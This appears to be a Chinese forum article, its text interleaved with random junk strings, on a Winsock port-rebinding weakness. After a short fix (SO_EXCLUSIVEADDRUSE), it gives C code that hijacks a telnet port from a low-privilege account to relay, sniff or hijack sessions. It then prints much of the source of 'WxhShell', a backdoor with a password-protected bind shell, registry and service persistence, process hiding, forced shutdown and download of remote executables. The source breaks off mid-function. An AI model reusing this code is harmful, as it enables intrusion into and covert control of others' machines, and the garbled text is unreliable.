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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 8yE!7$Mj s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); :O9P(X* Mn]}s:v saddr.sin_family = AF_INET; G*i.a*9<) aGPqh,<QD saddr.sin_addr.s_addr = htonl(INADDR_ANY); Q0V^PDF 0jR){G9+ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); T>#TDMU#Fm w$gSj/ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 paW'R +Rck N0=-7wMk(Z 这意味着什么?意味着可以进行如下的攻击: EfKM*;A [O=W>l 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 hzaLx8L 9;=q=O/ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) )fNGB]% C/F@ ]_y
3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 3YR *
^ 6#<Ir @z 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 c}\
'x5:o U?8i'5) 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 $ "Afy)Ir fO*)LPen.z 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 "
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<O ;&qT*b 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 }dy9IH A?e,U, #include 7egq4gN]2Y #include lZ}P{d'f. #include F(deu^s%{ #include ,#
]+HS^B DWORD WINAPI ClientThread(LPVOID lpParam); $zdd=.!KiK int main() T`uDlo { X$/E>I WORD wVersionRequested; j*XjY[ DWORD ret; >f>V5L%1 WSADATA wsaData; StEQ
-k BOOL val; !?jK1{E3 SOCKADDR_IN saddr; >yX/+p_ SOCKADDR_IN scaddr; u[)_^kIE(n int err; R0{Qy*YQ` SOCKET s; !6lOIgn SOCKET sc; ^D>fis int caddsize; ]* 0(-@ HANDLE mt; '?5S"?? DWORD tid; +6
ho)YL wVersionRequested = MAKEWORD( 2, 2 ); U<Vy>gIC err = WSAStartup( wVersionRequested, &wsaData ); X1Qr_o-BR if ( err != 0 ) { ThtMRB)9 printf("error!WSAStartup failed!\n"); 6_WmCtvF return -1; Z%#^xCz;w> } |7y6
pz saddr.sin_family = AF_INET; [~COYjp +@e
}mL\8 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 012Lwd 6;gLwOeOHY saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 1t.R+1[c saddr.sin_port = htons(23); sa G8g if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }"hW b( { ]
@ufV printf("error!socket failed!\n"); >
V8sm/M return -1; M;qBDT~) } )Bo]=ZTJ^ val = TRUE; gSb,s [p&+ //SO_REUSEADDR选项就是可以实现端口重绑定的 )T9~8p. if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) P/G>/MD/l { GLCAiSMz[ printf("error!setsockopt failed!\n"); rkq#7 return -1; Y~}5axSPH } "mR*7o$| //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ul$,q05nb //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 6(Vhtr2(* //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 J smB^ ;`+`#h3-V if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) m^Glc?g< { Ls1B\Aw _ ret=GetLastError(); q(gjT^aN printf("error!bind failed!\n"); j1A|D
return -1; !.*iw
k` } L!,d"wuD listen(s,2); 2L:$aZ while(1) NEw$q4 { ~cIl$b caddsize = sizeof(scaddr); "kU] //接受连接请求 1DqX:WM6 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); h/HHKn if(sc!=INVALID_SOCKET) >k;p.Pay% { ~g7m3 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); <[ZI.+_Wt if(mt==NULL) =G4u#t) { *1$ printf("Thread Creat Failed!\n"); P_&p=${ break; nM8[ } *GJ:+U&m[ } b!^@PIX CloseHandle(mt); |NJ}F@t/5 } a ~opE!|m closesocket(s); w^Ag]HZN WSACleanup(); 6Hk="$6K return 0; ~>g+2]Bn>$ } -9d%+O~v6~ DWORD WINAPI ClientThread(LPVOID lpParam) &?y7I Pp { dw9T f ^V SOCKET ss = (SOCKET)lpParam; +P)ys#= SOCKET sc; {~'H unsigned char buf[4096]; &iBNO,v SOCKADDR_IN saddr; !zR)D|w& long num; w#9_eq|3 DWORD val; n'M>xq_ DWORD ret; 9 I{/zKq //如果是隐藏端口应用的话,可以在此处加一些判断 8Q=ZH=SQK //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 :y1 Bt+Fp saddr.sin_family = AF_INET; '1-maM\r saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); @^&7$#jq% saddr.sin_port = htons(23); U*\17YU6h if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) YG`?o { kAo.C Nj7 printf("error!socket failed!\n"); o_$&XNC_ return -1; ($8t%jVWJJ } {[W(a<%bXm val = 100; ]Lm'RlV if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) C6]OAUXy:F { $gvr
-~ ret = GetLastError(); ?:uNN return -1; ),`8eQC } v+6e;xl8 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
z)w-N { :G=FiC ret = GetLastError(); t7*#[x)a return -1; <cj{Qk } Q4Q pn if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) /iG7MC\` { p!DP`Ouc3\ printf("error!socket connect failed!\n"); =wrP:wYF closesocket(sc); J#
EP% closesocket(ss); :c=.D;, return -1; cbYK5fj"T } (s&&>M]r_ while(1) ?JXa~.dA { UQPU"F7. //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 g)1X&> //如果是嗅探内容的话,可以再此处进行内容分析和记录 dYF=c //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 1m)M;^_ num = recv(ss,buf,4096,0); [>Fm[5x if(num>0) _ck[&Q send(sc,buf,num,0); xaW{I7FfG else if(num==0) i=rH7k break; .<YcSG num = recv(sc,buf,4096,0); 8@eOTzm if(num>0) v"!4JZ%K send(ss,buf,num,0); Fr [7 else if(num==0) ;gB`YNL break; yWb4Ify } rQr!R$t/[ closesocket(ss); ,Eu?JH&}u closesocket(sc); U(,.D}PG return 0 ; 3CZS) } 6gU{(H
"#4dW 7E sn{tra ========================================================== Mu&x_&| fk{0d 下边附上一个代码,,WXhSHELL m4m<nnM DQ80B)<O ========================================================== S
v`qB'e2 MbA\pG'T #include "stdafx.h" :Li/=>R^ xDjV`E] #include <stdio.h> T?wzwGp-[ #include <string.h> |"Z{I3Umg #include <windows.h> <+tD z ( #include <winsock2.h> Adx`8}N8 #include <winsvc.h> $/Ov2z #include <urlmon.h> cUk*C a9Y5 #pragma comment (lib, "Ws2_32.lib") @_yoX(.E& #pragma comment (lib, "urlmon.lib") ]l;*$2w) [TTSA2 #define MAX_USER 100 // 最大客户端连接数 WNy3@+@GZ #define BUF_SOCK 200 // sock buffer 46No%cSiG #define KEY_BUFF 255 // 输入 buffer A)NkT`<) 2`bdrRD0 #define REBOOT 0 // 重启 (K<9hL+X #define SHUTDOWN 1 // 关机 l"pN90B4 C+N k"l9 #define DEF_PORT 5000 // 监听端口 Qa4MZj;$K EgM*d)X #define REG_LEN 16 // 注册表键长度 JL^2l$up #define SVC_LEN 80 // NT服务名长度 ',=g; zP) ~a // 从dll定义API ~
'Vxg} typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); C9~~O~7x typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #Dy?GB08 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); X#p Wyo~ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); TqAPAHg BmBz}:xMez // wxhshell配置信息 Ng=ONh
struct WSCFG { 4. qtp` int ws_port; // 监听端口 i$^ZTb^ char ws_passstr[REG_LEN]; // 口令 k%81f'H int ws_autoins; // 安装标记, 1=yes 0=no '7)" char ws_regname[REG_LEN]; // 注册表键名 mUP. rb6 char ws_svcname[REG_LEN]; // 服务名 `V!>J1x char ws_svcdisp[SVC_LEN]; // 服务显示名 osP\DiQ char ws_svcdesc[SVC_LEN]; // 服务描述信息 e%O0hE char ws_passmsg[SVC_LEN]; // 密码输入提示信息 k$i'v:c|:i int ws_downexe; // 下载执行标记, 1=yes 0=no =o 7}]k7 char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" 4P8*k[. char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Jjm|9|C, K[?Xm"4 }; n1v5Q2xw N{Qxq>6 G // default Wxhshell configuration ,xsH|xW struct WSCFG wscfg={DEF_PORT, nE W31 8 "xuhuanlingzhe", sRhKlUJG 1, *_-'/i "Wxhshell", _aS;!6b8W "Wxhshell", q_fam,9 "WxhShell Service", }JgYCsF/f "Wrsky Windows CmdShell Service", 8|g<X1H{M "Please Input Your Password: ", 8y2+$ 1, dK9Zg,DZL " http://www.wrsky.com/wxhshell.exe", kLP0{A "Wxhshell.exe" `BXS)xj }; 6W2hr2Zy9 =H`Q~Xx // 消息定义模块 ml!5:r> char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <[~,uR7 char *msg_ws_prompt="\n\r? for help\n\r#>"; F5T3E?_ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; oF&l-DHp char *msg_ws_ext="\n\rExit."; ,. EBOUW^ char *msg_ws_end="\n\rQuit."; gFN9jM char *msg_ws_boot="\n\rReboot..."; uaPx" char *msg_ws_poff="\n\rShutdown..."; ^TdZ*($5 char *msg_ws_down="\n\rSave to "; ~N0sJ% hpbf&S4 char *msg_ws_err="\n\rErr!"; &, a3@i char *msg_ws_ok="\n\rOK!"; Fke//- R 7<\C?`q" char ExeFile[MAX_PATH]; C(?blv-vM0 int nUser = 0; V-yUJ#f8[ HANDLE handles[MAX_USER]; t T%/r, int OsIsNt; Ri7((x]H" t67Cv/r~ SERVICE_STATUS serviceStatus; L:&k(YOBA SERVICE_STATUS_HANDLE hServiceStatusHandle; E8[T v3[@1FQ" // 函数声明 TLa]O1=Bf. int Install(void); $.E6S<(h int Uninstall(void); 2t#L:vY int DownloadFile(char *sURL, SOCKET wsh); 'DbMF?<. int Boot(int flag); OS-f(qXd+ void HideProc(void); 3`.P'Fh(k int GetOsVer(void); 4@3[ int Wxhshell(SOCKET wsl); %
ZU/x
d void TalkWithClient(void *cs); 0#p/A^\#7M int CmdShell(SOCKET sock); e]8,:Gd( int StartFromService(void); Am4lEvb int StartWxhshell(LPSTR lpCmdLine); 6sfwlT oYM3Rgxf9Q VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); hVpCB, VOID WINAPI NTServiceHandler( DWORD fdwControl ); T D@v9 n~IVNB* // 数据结构和表定义 1OaXo! SERVICE_TABLE_ENTRY DispatchTable[] = W8WXY_yJt { kAYb!h[` {wscfg.ws_svcname, NTServiceMain}, B9dt=j3j2 {NULL, NULL} 1 jb/o5n; }; qCQ./"8 15\Ph[6g // 自我安装 uZjC
c M int Install(void) c,\i"=!$ { ^eq</5q D char svExeFile[MAX_PATH]; 3,X/,' HKEY key; :Ixx<9c. strcpy(svExeFile,ExeFile); 9"{W,'r&d j7QX,_Q // 如果是win9x系统,修改注册表设为自启动 ?uL eFD if(!OsIsNt) { uzr\oj+> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k=ytuV\ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); S::=85[>z RegCloseKey(key); \E1U@6a if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,L>
ar)B RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7;:#;YSha RegCloseKey(key); ,T,:-E return 0; si4-3eC } .d<W`%[ } S56]?M|[ } "\%On > else { %r{3wH#D@ 7*o*6,/ // 如果是NT以上系统,安装为系统服务 L:nXW z SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); wucV_p.E if (schSCManager!=0) *Nb#W! { [tT8_}v$LN SC_HANDLE schService = CreateService LaFZ?7@|} ( 22hSove. schSCManager, knp>m,w wscfg.ws_svcname, cR7wx 0Aj wscfg.ws_svcdisp, 6=_~0PcY SERVICE_ALL_ACCESS, PyC0Q\$% SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (?)7)5H SERVICE_AUTO_START, \;5\9B"i SERVICE_ERROR_NORMAL, U\@A_
B svExeFile, w*7|dZk{ NULL, -Yi,_#3{ NULL, Tb;d.^ NULL, upn~5>uCP NULL, >pyj]y^3 NULL Njc%_&r ); dhPKHrS if (schService!=0) XUMX* { w&h2y4 CloseServiceHandle(schService); ed 59B)?l CloseServiceHandle(schSCManager); Q[n\R@ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3Mjj'5KH! strcat(svExeFile,wscfg.ws_svcname); ~`8hwR1&z if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { yc;3Id5?> RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); B:TR2G9UT RegCloseKey(key); @LE[ac return 0; h+~P"i}&\ } K-vWa2 } H;ZHqcUX CloseServiceHandle(schSCManager); 7u.|XmUz } [4Ll0GSp } {16<^ pE]?x$5U return 1; ,V]
]:eR } qeL pXe0c Ji'(`9F&a // 自我卸载 F'PQqb { int Uninstall(void) Lz9#A. { 9 ;t]Hp_+K HKEY key; M6|I6M< 5E\#%K[ if(!OsIsNt) { }alj[) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <~emx'F| RegDeleteValue(key,wscfg.ws_regname); }3 m0AQ;K RegCloseKey(key); FwAKP>6 * if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @~
Dh'w2q RegDeleteValue(key,wscfg.ws_regname); c~,23wP1 RegCloseKey(key); U'( sn return 0; b8KsR=]4I } c{#yx_)V& } \0;(VLN'U } *O$CaAr\s else { f|EUqu%E 7v}x?I SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2RtHg_d_l if (schSCManager!=0) k8nLo.O { qem(s</: SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); u^W2UE\ if (schService!=0) _, AzJ^ { E|EgB33S if(DeleteService(schService)!=0) { NW9n CloseServiceHandle(schService); <lxD}DH= CloseServiceHandle(schSCManager); 5ABhj* 7 return 0; fIC9WbiH- } z2c5m CloseServiceHandle(schService); M(q'%XL^ } 4EP<tV CloseServiceHandle(schSCManager); 1^J`1 } 5`[n8mU } ^)yTBn, G* b2,9&F return 1; yBed kj } we7c`1E ~ A Qp| // 从指定url下载文件 Rf %HIAVE int DownloadFile(char *sURL, SOCKET wsh) t/o N>mQG { "VxWj}+] HRESULT hr; ,{eUP0] char seps[]= "/"; h&@R| N char *token; |aToUi.Q% char *file; x<i}_@Sn_+ char myURL[MAX_PATH]; {U!St@ char myFILE[MAX_PATH]; B@v\eF; `\|ssC8u strcpy(myURL,sURL); a?5[k}\ token=strtok(myURL,seps); ?NNn:t iD while(token!=NULL) ,.IEDF<& { 2
+5e0/_V file=token; ?/*~;fM token=strtok(NULL,seps); -ZOBAG* } 1r)kR@!LNG ra ' GetCurrentDirectory(MAX_PATH,myFILE); n}-3o]ku strcat(myFILE, "\\"); r} _c strcat(myFILE, file); %~|HFYd send(wsh,myFILE,strlen(myFILE),0); 6~meM@ send(wsh,"...",3,0); o/cjXun* hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); M&Y .; if(hr==S_OK) + bhym+ return 0; c>bq%} else v0*N)eqDGd return 1; `ejUs]SR eBN)g^ } 9<CG s3\ u<ySd? // 系统电源模块 OU DcY@x~ int Boot(int flag) >ndJNinV { ^>4o$} HANDLE hToken; *y[PNqyd TOKEN_PRIVILEGES tkp; 1m<RwI3s 5 +9Ze9 if(OsIsNt) { 7[v%GoE OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); RWq{Ff}Hk LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); XdEPbD- tkp.PrivilegeCount = 1; J<j&;:IRd tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; t-%Q`V=[ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !v#xb3"/ if(flag==REBOOT) { d?idTcgs if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &FdWFt=X return 0; <T?oKOD ] } [ANuBNF else { XP[uF ;w if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -XoP ia2 return 0; *2"6fX[ } _=6 rE } -OZ 5vH0 else { k4J8O3E if(flag==REBOOT) { >r5P3G1 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) mbl]>JsQD return 0; "kMzmo=Pv5 } -php6$| else { Ths_CKwgWY if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) |rRO@18dA return 0; OY-w?'p?W } 6+rlXmd } .uo.N C=Fzu&N} return 1; |C \}P } tU wRE|_ EC&@I+'8Q // win9x进程隐藏模块 V5}nOGV9 void HideProc(void) w^k;D,h { \h<BDk* 6Sj6i^" HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); +#@"*yj3 if ( hKernel != NULL ) N<|$h5isq { 2],_^XBvB pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #h!*dj" ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Z[!d*O%R_ FreeLibrary(hKernel); T70QJ=, } $S*4r&8ZD UAF<m1 return; rtJl _0` } q}uHFp/J +Z2MIC|Ud // 获取操作系统版本 h~U02"$ int GetOsVer(void) kyh_9K1 { ulHn#) OSVERSIONINFO winfo; 3Rg}+[b
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /NT[ETMk+ GetVersionEx(&winfo); 3XiO@jzre if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ( fD
;g9 return 1; >>[/UFC)n else \hO2p6 return 0; pZZgIw}aS } &MR/6"/s k?BJdg)xJ // 客户端句柄模块 %HQ.| int Wxhshell(SOCKET wsl) /z7VNkD { >M%\T}5 SOCKET wsh; ,7Y-k'7Kop struct sockaddr_in client; X C86-b)E DWORD myID; z@s5m} O40+M)e] while(nUser<MAX_USER) fjo{av~]y { {C`GW}s{4 int nSize=sizeof(client); :_<_[Y]1 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ukgAI<O% if(wsh==INVALID_SOCKET) return 1; )|j[uh6wo v4Zb?
Yb handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }g+;y if(handles[nUser]==0) :qhpL-ER closesocket(wsh); 4:3rc7_
1 else Z.L?1V8Q1 nUser++; foF19_2 , } 148V2H) WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); QZAB=rR ;^
wd_ return 0; -b&{+= ^c } }/dRU${! 4rK{-jvh>m // 关闭 socket `Ycf]2.,$ void CloseIt(SOCKET wsh) sRVIH A, { ))D:8l@ closesocket(wsh); g]@(E nUser--; \ b
V6@#, ExitThread(0); V~DMtB7 } <Tw>|cFT IH48|sa // 客户端请求句柄 MiT}L void TalkWithClient(void *cs) nZ1zJpBmI { .JX EK ,&PE6hn SOCKET wsh=(SOCKET)cs; hDP/JN8y char pwd[SVC_LEN]; WtQ8X|\` char cmd[KEY_BUFF]; gXT9 r' k char chr[1]; c5q9LQ/ int i,j; [L`ZE*z M}:=zcZ l while (nUser < MAX_USER) { j hYToMq +h^jC9,m~{ if(wscfg.ws_passstr) { wS+V]`b if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .M,RFC //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~"pKe~h //ZeroMemory(pwd,KEY_BUFF); kh~'Cn "O i=0; Xdi:1wW@p while(i<SVC_LEN) { B!{d-gb ~ *:F{ // 设置超时 6K
cD&S/ fd_set FdRead; 'K@|3R struct timeval TimeOut; g
6]epp[8 FD_ZERO(&FdRead); eAUcv`[#p FD_SET(wsh,&FdRead); /-zXM;h TimeOut.tv_sec=8; AL/?,%F TimeOut.tv_usec=0; GWsE; int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )m6M9eC if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); V$0dtvGvH g71[6<D if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `k(yZtb pwd =chr[0]; W{z.?$SH if(chr[0]==0xd || chr[0]==0xa) { }(a+aHH pwd=0; )%rg?lI break; a{!QOX%K } =_j vk. i++; "G>3QL+O| } 01!s"wjf 0CSv10Tg // 如果是非法用户,关闭 socket ys_`e if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); FZreP.2)! } OY[e.N
t& Y`+=p@2O2o send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [m^+,%m5] send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \~P=U;l=pO 2Q;9G6p while(1) { XdH\OJ $R<Me ZeroMemory(cmd,KEY_BUFF); .q+0pj v}WR+)uFQ // 自动支持客户端 telnet标准 }68i[v9Njk j=0; w[P4&?2: while(j<KEY_BUFF) { 0"~i^ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4k./(f2+ cmd[j]=chr[0]; <dyewy*.L if(chr[0]==0xa || chr[0]==0xd) { vb9OonE2 cmd[j]=0; E2)h?cs break; x8GJY~:SW } -OSa>-bzNx j++; !8`3GX:B_ } SkU9ON \EseGgd21 // 下载文件 ETs>`#`6o if(strstr(cmd,"http://")) { r$)w7Gk< send(wsh,msg_ws_down,strlen(msg_ws_down),0); ">?vir^ if(DownloadFile(cmd,wsh)) )O:0]=#)) send(wsh,msg_ws_err,strlen(msg_ws_err),0); 26CS6(sn else 6(PM'@i send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0'nikLaKy } tHLrhH<w else { iR"N13 ;c$ J=h] switch(cmd[0]) { .k,YlFvj CdL< *AH // 帮助 9mZ case '?': { |7x\m t send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); yA47"R break; 2wF8 P) } vv26I // 安装 "Ks,kSEzu case 'i': { e{Z &d
if(Install()) EJ2yO@5O send(wsh,msg_ws_err,strlen(msg_ws_err),0); <FZ@Q[RP else e}1uz3Rh send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K\|FQ^#UYm break; Ar~"R4! } HaIM#R32T // 卸载 qWw\_S case 'r': { $AHQmyg< if(Uninstall()) EqI(|bFwy send(wsh,msg_ws_err,strlen(msg_ws_err),0); =-p$jXVW% else 7g_]mG[6 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'uy/o)L break; >LDhU%bH } ?7{H|sI // 显示 wxhshell 所在路径 eF2|Wjl``; case 'p': { /*0K92NB char svExeFile[MAX_PATH]; hpU2 strcpy(svExeFile,"\n\r"); @IXsy strcat(svExeFile,ExeFile); /Z7iLq~t"G send(wsh,svExeFile,strlen(svExeFile),0); o=`C<} break; 0wS+++n$5 } L@fY$Rw // 重启 Sfdu`MQR case 'b': { IsR!'%Pu send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }l=xiAF if(Boot(REBOOT)) p)+k=b send(wsh,msg_ws_err,strlen(msg_ws_err),0); n'emNRa else { &\_iOw8 closesocket(wsh); 8U_{|]M
ExitThread(0); 3h<, } [+P#tIL break; l}qE 46EL } 4f<$4d^md // 关机 }1r m case 'd': { c_>f0i send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #^]n0! if(Boot(SHUTDOWN)) edPUG
N send(wsh,msg_ws_err,strlen(msg_ws_err),0); r
hfb ftw else { '}9JCJ closesocket(wsh); Gw1@KKg ExitThread(0); LcE+GC } AQ='|% break; wm^J;<T[ } BGfzslK // 获取shell 7sXxq4 case 's': { *2GEnAZb7n CmdShell(wsh); J4\ qEO closesocket(wsh); h5K$mA5 ExitThread(0); CoA6 break; QNl'ZB\ } z0do;_x]E // 退出 m1*O0Tg]" case 'x': { }m-FGk send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &@3H%DP}Ql CloseIt(wsh); |p-t%xDdr break; C/-63O_ } [VWUqlNt> // 离开 6VhjJJ case 'q': { [0D
Et send(wsh,msg_ws_end,strlen(msg_ws_end),0); _(KbiEB{ closesocket(wsh); 0c#/hFn WSACleanup(); 7t*"%]o exit(1); ZGd!IghL break; OiP!vn}k } 'f?$"U JF } h3;bxq!q } rX1QMR7? d0,s"K7@ // 提示信息 _x5 3g
A if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G}G#i`6o } Y(d$ } FeTL&$O (zFi$ return; 0MdDXG-7 } ;I!MLI \(vY%DL1: // shell模块句柄 UMcgdJB int CmdShell(SOCKET sock) d*%`!G { Ls] g STARTUPINFO si; cbT7CG ZeroMemory(&si,sizeof(si)); 7*Ej. HK si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +y3%3EKs1~ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ry` z(f PROCESS_INFORMATION ProcessInfo; mh{1*T$fP char cmdline[]="cmd"; ]33>m|?@ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?}U(3 return 0; "\o+v|; } EKsT~SS "$N+"3I // 自身启动模式 n+A?"`6*# int StartFromService(void) &RnTzqv { ZWKg9 %y7 typedef struct ]X ?7ZI^ { &b%zQ4%d-` DWORD ExitStatus; PC-"gi=h DWORD PebBaseAddress; +2&@x=xy DWORD AffinityMask; a+Kj1ix DWORD BasePriority; N%*5 T[. ULONG UniqueProcessId; j+uLV{~g6 ULONG InheritedFromUniqueProcessId; P<a)25be/ } PROCESS_BASIC_INFORMATION; 'g
m0) r A"G
1^8wvX PROCNTQSIP NtQueryInformationProcess; ^Uf]Q$uCjE G'ei/Me6{ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [Q/TlO t5 static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ov_j4j>6P [8=vv7wS HANDLE hProcess; [k;\S XDZo PROCESS_BASIC_INFORMATION pbi; w"cZHm IV\'e} HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [nrYpb4 if(NULL == hInst ) return 0;
